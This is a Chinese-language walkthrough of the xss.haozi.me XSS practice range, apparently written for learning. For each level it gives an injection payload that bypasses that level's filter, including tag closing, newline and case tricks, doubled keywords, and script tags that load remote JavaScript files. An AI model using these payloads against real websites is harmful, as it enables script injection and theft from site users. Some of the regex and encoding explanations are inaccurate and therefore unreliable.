xss彈窗專項練習


項目地址:https://xss.haozi.me/

 

0x00

直接常規插入,

<script>alert(1)</script>

 

 

 

 


 

0x01

閉合前面的<textarea>標簽

</textarea><script>alert(1)</script>

</textarea><img src=0 onerror=alert(1)>

 

 

 

 


 

0x02

閉合前面的雙引號

"><script>alert(1)</script>

 

 

 

 


 

0x03

過濾了括號,用 ` 代替

<script>alert`1`</script>

 

 

 

 


 

0x04

把括號、正括號和引號都過濾了可以考慮用html編碼來繞過

 

<img src=0 onerror=alert(1)>

 

 

 

 


 

0x05

后注釋符 --> 被替換成了一個表情,這里注釋符有兩種:

 <!-- 注釋內容 -->

 <!-- 注釋內容 --!>

可以用到第二種注釋符

--!><script>alert(1)</script>

 

 

 

 


 

0x06

用了正則表達式來過濾匹配了:  auto 、以on開頭且以=結尾的字符串、 >所以過濾了autofocusonerror等事件, 以及防止input標簽被閉合

 

但是它並沒有匹配換行符, 可以通過換行來繞過匹配

type="image" src=0 onerror

=alert(1)

 

 

 

 


 

0x07

這里分為三部分來分析:  /<\/?[^>]+>/gi

1<\/?

   \轉義符與/結合從而轉義了/, 進而含義是匹配:  </

   再加上+ (匹配前面的子表達式一次或多次), 所以是匹配: < 或者 </

2[^>]+

   首先要明白中括號的用法:  [abc] => 匹配abc中的任意一個;  

   然后^符號的兩種用法:

    1.限定開頭比如, /^A/會匹配"An e"中的A,但是不會匹配"ab A"中的A

    2.取反(僅處於中括號中成立): 比如,[^a-zA-Z0-9]表示 “找到一個非字母也非數字的字符”。 

 最后是+的含義:匹配前面的子表達式一次或多次。

 所以, 總的來說,[^>]+ 匹配了除了^的任意字符的一次或者多次

3>

 單純匹配>。

總的表達式就是,匹配:  </ 任意字符 >,  而且 /i 過濾了大小寫

 

html的單標簽也可以解析后面+空格

<img src=0 onerror=alert(1) 

 

 

 

 


 

0x08

正則匹配過濾了</style>

 

可以加一個空格</style >,造成正則逃逸

 

也可以利用正則不匹配\n來繞過

</style

><img src=0 onerror=alert(1)>

 

 


 

0x09

正則表達式白名單式地匹配了固定網址,並閉合前面的標簽

https://www.segmentfault.com"></script><img src=0 onerror="alert(1)

 

 

 


 

0x0A

正則匹配過濾了很多關鍵字,無法在網址后面加標簽等操作了,但是可以直接引用指定網站下的目錄文件來達到xss注入的目的在靶場的目錄下有個j.js文件里面有alert(1);代碼, 直接調用即可

https://www.segmentfault.com.haozi.me/j.js

 

也可用url@語法來進行跳轉調用然后@跳轉訪問即可 (beefhook原理)

https://www.segmentfault.com@https://www.joker.com/j.js

注意要都要為https或者http

 


 

0x0B

程序將所有字母轉換為大寫

 

HTML中對大小寫不敏感

JS中對大小寫敏感

這樣可以js代碼進行編碼處理, html部分不變

<img src=0 onerror="alert(1)">

 

域名對大小寫也不敏感  ,  所有可以用上一題的方法調用靶機上自帶的j.js代碼完成xss注入:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

 

0x0C

和上一題相比, 只是多了一個對script的過濾,

<img src=0 onerror="alert(1)">

 

也可以用雙寫繞過

<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>

 


 

0x0D

用正則把斜杠, 單、雙引號都過濾了

但回車可以破壞結構,再直接注入alert(1),  再配合js的注釋符 --> 注釋掉')

 

 

 


 

0x0E

正則匹配了所有大小寫字母,將尖括號后面追加一個下划線, 並且將所有字符大寫

 

找到一個字符的大寫是s ſ  (古英文, 拉丁文):

https://www.thetype.com/2009/10/1577

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

 

 

 


 

0x0F

將一些常用的注入字符進行了html編碼處理, 由於編碼后處於html標簽中, 所以當解析代碼的時候, 被過濾編碼的字符仍然會被還原來執行所以可以說, 被過濾的字符可以用,構造一下,使其閉合在注釋掉后面的內容即可

'); alert(1); //

 

 

 


 

0x10

沒有過濾, 隨意給window.date一個值再注入

''; alert(1); //

 

 

 


 

0x11

//雖然被轉義成了\/\/,  但轉義之后還是//,  js中還是注釋符 (勿與正則弄混

"); alert(1); //

 

 

 


 

0x12

這題將雙引號轉義了, 就不能閉合了換個思路, 它並沒有將轉義符轉義那么我們可以將轉義符轉義

\"); alert(1); //

 

 

 


 

完。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM